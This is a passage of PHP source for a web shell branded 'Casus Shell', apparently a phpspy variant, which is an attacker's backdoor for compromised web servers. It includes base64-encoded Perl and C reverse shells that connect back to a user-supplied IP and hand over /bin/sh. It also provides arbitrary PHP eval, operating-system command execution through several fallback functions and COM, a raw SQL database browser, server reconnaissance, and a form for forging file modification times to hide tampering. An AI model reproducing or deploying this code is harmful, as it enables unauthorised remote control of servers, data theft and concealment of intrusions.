736<script type="text/javascript">
737function editrecord(action, base64, tablename){
738 if (action == 'del') {
739 if (!confirm('Is or isn\'t deletion record?')) return;
740 }
741 $('recordlist').doing.value=action;
742 $('recordlist').base64.value=base64;
743 $('recordlist').tablename.value=tablename;
744 $('recordlist').submit();
745}
746function moddbname(dbname) {
747 if(!dbname) return;
748 $('setdbname').dbname.value=dbname;
749 $('setdbname').submit();
750}
751function settable(tablename,doing,page) {
752 if(!tablename) return;
753 if (doing) {
754 $('settable').doing.value=doing;
755 }
756 if (page) {
757 $('settable').page.value=page;
758 }
759 $('settable').tablename.value=tablename;
760 $('settable').submit();
761}
762</script>
763<?php
764 //#++ў+|-+
765 formhead(array('name' => 'recordlist'));
766 makehide('doing');
767 makehide('action', 'sqladmin');
768 makehide('base64');
769 makehide('tablename');
770 p($dbform);
771 formfoot();
772 //-б|и- +|+т
773 formhead(array('name' => 'setdbname'));
774 makehide('action', 'sqladmin');
775 p($dbform);
776 if (!$dbname) {
777 makehide('dbname');
778 }
779 formfoot();
780 //-б|и#э
781 formhead(array('name' => 'settable'));
782 makehide('action', 'sqladmin');
783 p($dbform);
784 makehide('tablename');
785 makehide('page', $page);
786 makehide('doing');
787 formfoot();
788 $cachetables = array();
789 $pagenum = 30;
790 $page = intval($page);
791 if ($page) {
792 $start_limit = ($page - 1) * $pagenum;
793 } else {
794 $start_limit = 0;
795 $page = 1;
796 }
797 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
798 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
799 //+ё+б- +|+т-+-в
800 $mysqlver = mysql_get_server_info();
801 p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
802 $highver = $mysqlver > '4.1' ? 1 : 0;
803 //+ё+б- +|+т
804 $query = q("SHOW DATABASES");
805 $dbs = array();
806 $dbs[] = '-- Select a database --';
807 while ($db = mysql_fetch_array($query)) {
808 $dbs[$db['Database']] = $db['Database'];
809 }
810 makeselect(array('title' => 'Please select a database:', 'name' => 'db[]', 'option' => $dbs, 'selected' => $dbname, 'onchange' => 'moddbname(this.options[this.selectedIndex].value)', 'newline' => 1));
811 $tabledb = array();
812 if ($dbname) {
813 p('<p>');
814 p('Current dababase: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
815 if ($tablename) {
816 p(' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
817 }
818 p('</p>');
819 mysql_select_db($dbname);
820 $getnumsql = '';
821 $runquery = 0;
822 if ($sql_query) {
823 $runquery = 1;
824 }
825 $allowedit = 0;
826 if ($tablename && !$sql_query) {
827 $sql_query = "SELECT * FROM $tablename";
828 $getnumsql = $sql_query;
829 $sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
830 $allowedit = 1;
831 }
832 p('<form action="' . $self . '" method="POST">');
833 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database ' . $dbname . ':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
834 makehide('tablename', $tablename);
835 makehide('action', 'sqladmin');
836 p($dbform);
837 p('</form>');
838 if ($tablename || ($runquery && $sql_query)) {
839 if ($doing == 'structure') {
840 $result = q("SHOW COLUMNS FROM $tablename");
841 $rowdb = array();
842 while ($row = mysql_fetch_array($result)) {
843 $rowdb[] = $row;
844 }
845 p('<table border="0" cellpadding="3" cellspacing="0">');
846 p('<tr class="head">');
847 p('<td>Field</td>');
848 p('<td>Type</td>');
849 p('<td>Null</td>');
850 p('<td>Key</td>');
851 p('<td>Default</td>');
852 p('<td>Extra</td>');
853 p('</tr>');
854 foreach ($rowdb as $row) {
855 $thisbg = bg();
856 p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
857 p('<td>' . $row['Field'] . '</td>');
858 p('<td>' . $row['Type'] . '</td>');
859 p('<td>' . $row['Null'] . ' </td>');
860 p('<td>' . $row['Key'] . ' </td>');
861 p('<td>' . $row['Default'] . ' </td>');
862 p('<td>' . $row['Extra'] . ' </td>');
863 p('</tr>');
864 }
865 tbfoot();
866 } elseif ($doing == 'insert' || $doing == 'edit') {
867 $result = q('SHOW COLUMNS FROM ' . $tablename);
868 while ($row = mysql_fetch_array($result)) {
869 $rowdb[] = $row;
870 }
871 $rs = array();
872 if ($doing == 'insert') {
873 p('<h2>Insert new line in ' . $tablename . ' table »</h2>');
874 } else {
875 p('<h2>Update record in ' . $tablename . ' table »</h2>');
876 $where = base64_decode($base64);
877 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
878 $rs = mysql_fetch_array($result);
879 }
880 p('<form method="post" action="' . $self . '">');
881 p($dbform);
882 makehide('action', 'sqladmin');
883 makehide('tablename', $tablename);
884 p('<table border="0" cellpadding="3" cellspacing="0">');
885 foreach ($rowdb as $row) {
886 if ($rs[$row['Field']]) {
887 $value = htmlspecialchars($rs[$row['Field']]);
888 } else {
889 $value = '';
890 }
891 $thisbg = bg();
892 p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
893 p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
894 }
895 if ($doing == 'insert') {
896 p('<tr class="' . bg() . '"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
897 } else {
898 p('<tr class="' . bg() . '"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
899 makehide('base64', $base64);
900 }
901 p('</table></form>');
902 } else {
903 $querys = @explode(';', $sql_query);
904 foreach ($querys as $num => $query) {
905 if ($query) {
906 p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
907 switch (qy($query)) {
908 case 0:
909 p('<h2>Error : ' . mysql_error() . '</h2>');
910 break;
911 case 1:
912 if (strtolower(substr($query, 0, 13)) == 'select * from') {
913 $allowedit = 1;
914 }
915 if ($getnumsql) {
916 $tatol = mysql_num_rows(q($getnumsql));
917 $multipage = multi($tatol, $pagenum, $page, $tablename);
918 }
919 if (!$tablename) {
920 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
921 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
922 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches);
923 $tablename = $matches[1][0];
924 }
925 $result = q($query);
926 p($multipage);
927 p('<table border="0" cellpadding="3" cellspacing="0">');
928 p('<tr class="head">');
929 if ($allowedit) p('<td>Action</td>');
930 $fieldnum = @mysql_num_fields($result);
931 for ($i = 0;$i < $fieldnum;$i++) {
932 $name = @mysql_field_name($result, $i);
933 $type = @mysql_field_type($result, $i);
934 $len = @mysql_field_len($result, $i);
935 p("<td nowrap>$name<br><span>$type($len)</span></td>");
936 }
937 p('</tr>');
938 while ($mn = @mysql_fetch_assoc($result)) {
939 $thisbg = bg();
940 p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
941 $where = $tmp = $b1 = '';
942 foreach ($mn as $key => $inside) {
943 if ($inside) {
944 $where.= $tmp . $key . "='" . addslashes($inside) . "'";
945 $tmp = ' AND ';
946 }
947 $b1.= '<td nowrap>' . html_clean($inside) . ' </td>';
948 }
949 $where = base64_encode($where);
950 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Edit</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">Del</a></td>');
951 p($b1);
952 p('</tr>');
953 unset($b1);
954 }
955 tbfoot();
956 p($multipage);
957 break;
958 case 2:
959 $ar = mysql_affected_rows();
960 p('<h2>affected rows : <b>' . $ar . '</b></h2>');
961 break;
962 }
963 }
964 }
965 }
966 } else {
967 $query = q("SHOW TABLE STATUS");
968 $table_num = $table_rows = $data_size = 0;
969 $tabledb = array();
970 while ($table = mysql_fetch_array($query)) {
971 $data_size = $data_size + $table['Data_length'];
972 $table_rows = $table_rows + $table['Rows'];
973 $table['Data_length'] = sizecount($table['Data_length']);
974 $table_num++;
975 $tabledb[] = $table;
976 }
977 $data_size = sizecount($data_size);
978 unset($table);
979 p('<table border="0" cellpadding="0" cellspacing="0">');
980 p('<form action="' . $self . '" method="POST">');
981 makehide('action', 'sqladmin');
982 p($dbform);
983 p('<tr class="head">');
984 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
985 p('<td>Name</td>');
986 p('<td>Rows</td>');
987 p('<td>Data_length</td>');
988 p('<td>Create_time</td>');
989 p('<td>Update_time</td>');
990 if ($highver) {
991 p('<td>Engine</td>');
992 p('<td>Collation</td>');
993 }
994 p('</tr>');
995 foreach ($tabledb as $key => $table) {
996 $thisbg = bg();
997 p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
998 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
999 p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
1000 p('<td>' . $table['Rows'] . '</td>');
1001 p('<td>' . $table['Data_length'] . '</td>');
1002 p('<td>' . $table['Create_time'] . '</td>');
1003 p('<td>' . $table['Update_time'] . '</td>');
1004 if ($highver) {
1005 p('<td>' . $table['Engine'] . '</td>');
1006 p('<td>' . $table['Collation'] . '</td>');
1007 }
1008 p('</tr>');
1009 }
1010 p('<tr class=' . bg() . '>');
1011 p('<td> </td>');
1012 p('<td>Total tables: ' . $table_num . '</td>');
1013 p('<td>' . $table_rows . '</td>');
1014 p('<td>' . $data_size . '</td>');
1015 p('<td colspan="' . ($highver ? 4 : 2) . '"> </td>');
1016 p('</tr>');
1017 p("<tr class=\"" . bg() . "\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1018 makehide('doing', 'backupmysql');
1019 formfoot();
1020 p("</table>");
1021 fr($query);
1022 }
1023 }
1024 }
1025 tbfoot();
1026 @mysql_close();
1027} //end sql backup
1028elseif ($action == 'backconnect') {
1029 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1030 !$yourport && $yourport = '12345';
1031 $usedb = array('perl' => 'perl', 'c' => 'c');
1032 $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1033 $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1034 if ($start && $yourip && $yourport && $use) {
1035 if ($use == 'perl') {
1036 cf('/tmp/angel_bc', $back_connect);
1037 $res = execute(which('perl') . " /tmp/angel_bc $yourip $yourport &");
1038 } else {
1039 cf('/tmp/angel_bc.c', $back_connect_c);
1040 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1041 @unlink('/tmp/angel_bc.c');
1042 $res = execute("/tmp/angel_bc $yourip $yourport &");
1043 }
1044 m("Now script try connect to $yourip port $yourport ...");
1045 }
1046 formhead(array('title' => 'Back Connect'));
1047 makehide('action', 'backconnect');
1048 p('<p>');
1049 p('Your IP:');
1050 makeinput(array('name' => 'yourip', 'size' => 20, 'value' => $yourip));
1051 p('Your Port:');
1052 makeinput(array('name' => 'yourport', 'size' => 15, 'value' => $yourport));
1053 p('Use:');
1054 makeselect(array('name' => 'use', 'option' => $usedb, 'selected' => $use));
1055 makeinput(array('name' => 'start', 'value' => 'Start', 'type' => 'submit', 'class' => 'bt'));
1056 p('</p>');
1057 formfoot();
1058} //end sql backup
1059elseif ($action == 'eval') {
1060 $phpcode = trim($phpcode);
1061 if ($phpcode) {
1062 if (!preg_match('#<\?#si', $phpcode)) {
1063 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1064 }
1065 eval("?" . ">$phpcode<?");
1066 }
1067 formhead(array('title' => 'Eval PHP Code'));
1068 makehide('action', 'eval');
1069 maketext(array('title' => 'PHP Code', 'name' => 'phpcode', 'value' => $phpcode));
1070 p('<p><a href="http://www.alturks.com/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1071 formfooter();
1072} //end eval
1073elseif ($action == 'editfile') {
1074 if (file_exists($opfile)) {
1075 $fp = @fopen($opfile, 'r');
1076 $contents = @fread($fp, filesize($opfile));
1077 @fclose($fp);
1078 $contents = htmlspecialchars($contents);
1079 }
1080 formhead(array('title' => 'Create / Edit File'));
1081 makehide('action', 'file');
1082 makehide('dir', $nowpath);
1083 makeinput(array('title' => 'Current File (import new file name and new file)', 'name' => 'editfilename', 'value' => $opfile, 'newline' => 1));
1084 maketext(array('title' => 'File Content', 'name' => 'filecontent', 'value' => $contents));
1085 formfooter();
1086} //end editfile
1087elseif ($action == 'newtime') {
1088 $opfilemtime = @filemtime($opfile);
1089 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1090 $cachemonth = array('January' => 1, 'February' => 2, 'March' => 3, 'April' => 4, 'May' => 5, 'June' => 6, 'July' => 7, 'August' => 8, 'September' => 9, 'October' => 10, 'November' => 11, 'December' => 12);
1091 formhead(array('title' => 'Clone file was last modified time'));
1092 makehide('action', 'file');
1093 makehide('dir', $nowpath);
1094 makeinput(array('title' => 'Alter file', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
1095 makeinput(array('title' => 'Reference file (fullpath)', 'name' => 'tarfile', 'size' => 120, 'newline' => 1));
1096 formfooter();
1097 formhead(array('title' => 'Set last modified'));
1098 makehide('action', 'file');
1099 makehide('dir', $nowpath);
1100 makeinput(array('title' => 'Current file (fullpath)', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
1101 p('<p>Instead »');
1102 p('year:');
1103 makeinput(array('name' => 'year', 'value' => date('Y', $opfilemtime), 'size' => 4));
1104 p('month:');
1105 makeinput(array('name' => 'month', 'value' => date('m', $opfilemtime), 'size' => 2));
1106 p('day:');
1107 makeinput(array('name' => 'day', 'value' => date('d', $opfilemtime), 'size' => 2));
1108 p('hour:');
1109 makeinput(array('name' => 'hour', 'value' => date('H', $opfilemtime), 'size' => 2));
1110 p('minute:');
1111 makeinput(array('name' => 'minute', 'value' => date('i', $opfilemtime), 'size' => 2));
1112 p('second:');
1113 makeinput(array('name' => 'second', 'value' => date('s', $opfilemtime), 'size' => 2));
1114 p('</p>');
1115 formfooter();
1116} //end newtime
1117elseif ($action == 'shell') {
1118 if (IS_WIN && IS_COM) {
1119 if ($program && $parameter) {
1120 $shell = new COM('Shell.Application');
1121 $a = $shell->ShellExecute($program, $parameter);
1122 m('Program run has ' . (!$a ? 'success' : 'fail'));
1123 }
1124 !$program && $program = 'c:\windows\system32\cmd.exe';
1125 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1126 formhead(array('title' => 'Execute Program'));
1127 makehide('action', 'shell');
1128 makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $program, 'newline' => 1));
1129 p('<p>');
1130 makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter));
1131 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1132 p('</p>');
1133 formfoot();
1134 }
1135 formhead(array('title' => 'Execute Command'));
1136 makehide('action', 'shell');
1137 if (IS_WIN && IS_COM) {
1138 $execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open');
1139 makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1));
1140 }
1141 p('<p>');
1142 makeinput(array('title' => 'Command', 'name' => 'command', 'value' => $command));
1143 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1144 p('</p>');
1145 formfoot();
1146 if ($command) {
1147 p('<hr width="100%" noshade /><pre>');
1148 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
1149 $wsh = new COM('WScript.shell');
1150 $exec = $wsh->exec('cmd.exe /c ' . $command);
1151 $stdout = $exec->StdOut();
1152 $stroutput = $stdout->ReadAll();
1153 echo $stroutput;
1154 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
1155 $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
1156 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1157 if (is_resource($process)) {
1158 fwrite($pipes[0], $command . "\r\n");
1159 fwrite($pipes[0], "exit\r\n");
1160 fclose($pipes[0]);
1161 while (!feof($pipes[1])) {
1162 echo fgets($pipes[1], 1024);
1163 }
1164 fclose($pipes[1]);
1165 while (!feof($pipes[2])) {
1166 echo fgets($pipes[2], 1024);
1167 }
1168 fclose($pipes[2]);
1169 proc_close($process);
1170 }
1171 } else {
1172 echo (execute($command));
1173 }
1174 p('</pre>');
1175 }
1176} //end shell
1177elseif ($action == 'phpenv') {
1178 $upsize = getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1179 $adminmail = isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1180 !$dis_func && $dis_func = 'No';
1181 $info = array(1 => array('Server Time', date('Y/m/d h:i:s', $timestamp)), 2 => array('Server Domain', $_SERVER['SERVER_NAME']), 3 => array('Server IP', gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('Server OS', PHP_OS), 5 => array('Server OS Charset', $_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('Server Software', $_SERVER['SERVER_SOFTWARE']), 7 => array('Server Web Port', $_SERVER['SERVER_PORT']), 8 => array('PHP run mode', strtoupper(php_sapi_name())), 9 => array('The file path', __FILE__), 10 => array('PHP Version', PHP_VERSION), 11 => array('PHPINFO', (IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')), 12 => array('Safe Mode', getcfg('safe_mode')), 13 => array('Administrator', $adminmail), 14 => array('allow_url_fopen', getcfg('allow_url_fopen')), 15 => array('enable_dl', getcfg('enable_dl')), 16 => array('display_errors', getcfg('display_errors')), 17 => array('register_globals', getcfg('register_globals')), 18 => array('magic_quotes_gpc', getcfg('magic_quotes_gpc')), 19 => array('memory_limit', getcfg('memory_limit')), 20 => array('post_max_size', getcfg('post_max_size')), 21 => array('upload_max_filesize', $upsize), 22 => array('max_execution_time', getcfg('max_execution_time') . ' second(s)'), 23 => array('disable_functions', $dis_func),);
1182 if ($phpvarname) {
1183 m($phpvarname . ' : ' . getcfg($phpvarname));
1184 }
1185 formhead(array('title' => 'Server environment'));
1186 makehide('action', 'phpenv');
1187 makeinput(array('title' => 'Please input PHP configuration parameter(eg:magic_quotes_gpc)', 'name' => 'phpvarname', 'value' => $phpvarname, 'newline' => 1));
1188 formfooter();
1189 $hp = array(0 => 'Server', 1 => 'PHP');
1190 for ($a = 0;$a < 2;$a++) {
1191 p('<h2>' . $hp[$a] . ' »</h2>');
1192 p('<ul class="info">');
1193 if ($a == 0) {
1194 for ($i = 1;$i <= 9;$i++) {
1195 p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>');
1196 }
1197 } elseif ($a == 1) {
1198 for ($i = 10;$i <= 23;$i++) {
1199 p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>');
1200 }
1201 }
1202 p('</ul>');
1203 }
1204} //end phpenv
1205else {
1206 m('Undefined Action');
1207}
1208?>
1209</td></tr></table>
1210<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
1211 <span style="float:right;"><?php debuginfo();
1212ob_end_flush(); ?></span>
1213 Copyright (C)2016<a href="http://undergroundphoto.org/" target="_blank">SadrazaM</a> Casus Shell.
1214</div>
1215</body>
1216</html>
1217
1218<?php
1219/*======================================================
1220|п- +т
1221======================================================*/
1222function m($msg) {
1223 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1224 echo $msg;
1225 echo '</div>';
1226}
1227function scookie($key, $value, $life = 0, $prefix = 1) {
1228 global $admin, $timestamp, $_SERVER;
1229 $key = ($prefix ? $admin['cookiepre'] : '') . $key;
1230 $life = $life ? $life : $admin['cookielife'];
1231 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1232 setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1233}
1234function multi($num, $perpage, $curpage, $tablename) {
1235 $multipage = '';
1236 if ($num > $perpage) {
1237 $page = 10;
1238 $offset = 5;
1239 $pages = @ceil($num / $perpage);
1240 if ($page > $pages) {
1241 $from = 1;
1242 $to = $pages;
1243 } else {
1244 $from = $curpage - $offset;
1245 $to = $curpage + $page - $offset - 1;
1246 if ($from < 1) {
1247 $to = $curpage + 1 - $from;
1248 $from = 1;
1249 if (($to - $from) < $page && ($to - $from) < $pages) {
1250 $to = $page;
1251 }
1252 } elseif ($to > $pages) {
1253 $from = $curpage - $pages + $to;
1254 $to = $pages;
1255 if (($to - $from) < $page && ($to - $from) < $pages) {
1256 $from = $pages - $page + 1;
1257 }
1258 }
1259 }
1260 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '') . ($curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage - 1) . ');">Prev</a> ' : '');
1261 for ($i = $from;$i <= $to;$i++) {
1262 $multipage.= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
1263 }
1264 $multipage.= ($curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage + 1) . ');">Next</a>' : '') . ($to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '');
1265 $multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
1266 }
1267 return $multipage;
1268}
1269// ||-++ы++
1270function loginpage() {
1271?>
1272 <style type="text/css">
1273 input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
1274 </style>
1275 <form method="POST" action="">
1276 <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
1277 <input type="hidden" name="doing" value="login">
1278 <input type="submit" value="Login">
1279 </form>
1280<?php
1281 exit;
1282} //end loginpage()
1283function execute($cfe) {
1284 $res = '';
1285 if ($cfe) {
1286 if (function_exists('exec')) {
1287 @exec($cfe, $res);
1288 $res = join("\n", $res);
1289 } elseif (function_exists('shell_exec')) {
1290 $res = @shell_exec($cfe);
1291 } elseif (function_exists('system')) {
1292 @ob_start();
1293 @system($cfe);
1294 $res = @ob_get_contents();
1295 @ob_end_clean();
1296 } elseif (function_exists('passthru')) {
1297 @ob_start();
1298 @passthru($cfe);
1299 $res = @ob_get_contents();
1300 @ob_end_clean();
1301 } elseif (@is_resource($f = @popen($cfe, "r"))) {
1302 $res = '';
1303 while (!@feof($f)) {
1304 $res.= @fread($f, 1024);
1305 }
1306 @pclose($f);
1307 }
1308 }
1309 return $res;
1310}
1311function which($pr) {
1312 $path = execute("which $pr");
1313 return ($path ? $path : $pr);
1314}
1315function cf($fname, $text) {
1316 if ($fp = @fopen($fname, 'w')) {
1317 @fputs($fp, base64_decode($text));
1318 @fclose($fp);
1319 }
1320}
1321// -||ц|ў-+-+-в
1322function debuginfo() {
1323 global $starttime;
1324 $mtime = explode(' ', microtime());
1325 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1326 echo 'Processed in ' . $totaltime . ' second(s)';
1327}
1328//-м++- +|+т
1329function dbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306') {
1330 if (!$link = @mysql_connect($dbhost . ':' . $dbport, $dbuser, $dbpass)) {
1331 p('<h2>Can not connect to MySQL server</h2>');
1332 exit;
1333 }
1334 if ($link && $dbname) {
1335 if (!@mysql_select_db($dbname, $link)) {
1336 p('<h2>Database selected has error</h2>');
1337 exit;
1338 }
1339 }
1340 if ($link && mysql_get_server_info() > '4.1') {
1341 if (in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1342 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1343 }
1344 }
1345 return $link;
1346}
1347// +е|Ї+к-х+++
1348function s_array(&$array) {
1349 if (is_array($array)) {
1350 foreach ($array as $k => $v) {
1351 $array[$k] = s_array($v);
1352 }
1353 } else if (is_string($array)) {
1354 $array = stripslashes($array);
1355 }
1356 return $array;
1357}
1358// |х| HTML| -ы
1359function html_clean($content) {
1360 $content = htmlspecialchars($content);
1361 $content = str_replace("\n", "<br />", $content);
1362 $content = str_replace(" ", " ", $content);
1363 $content = str_replace("\t", " ", $content);
1364 return $content;
1365}
1366// +ё+б+и-|
1367function getChmod($filepath) {
1368 return substr(base_convert(@fileperms($filepath), 10, 8), -4);
1369}
1370function getPerms($filepath) {
1371 $mode = @fileperms($filepath);
1372 if (($mode & 0xC000) === 0xC000) {
1373 $type = 's';
1374 } elseif (($mode & 0x4000) === 0x4000) {
1375 $type = 'd';
1376 } elseif (($mode & 0xA000) === 0xA000) {
1377 $type = 'l';
1378 } elseif (($mode & 0x8000) === 0x8000) {
1379 $type = '-';
1380 } elseif (($mode & 0x6000) === 0x6000) {
1381 $type = 'b';
1382 } elseif (($mode & 0x2000) === 0x2000) {
1383 $type = 'c';
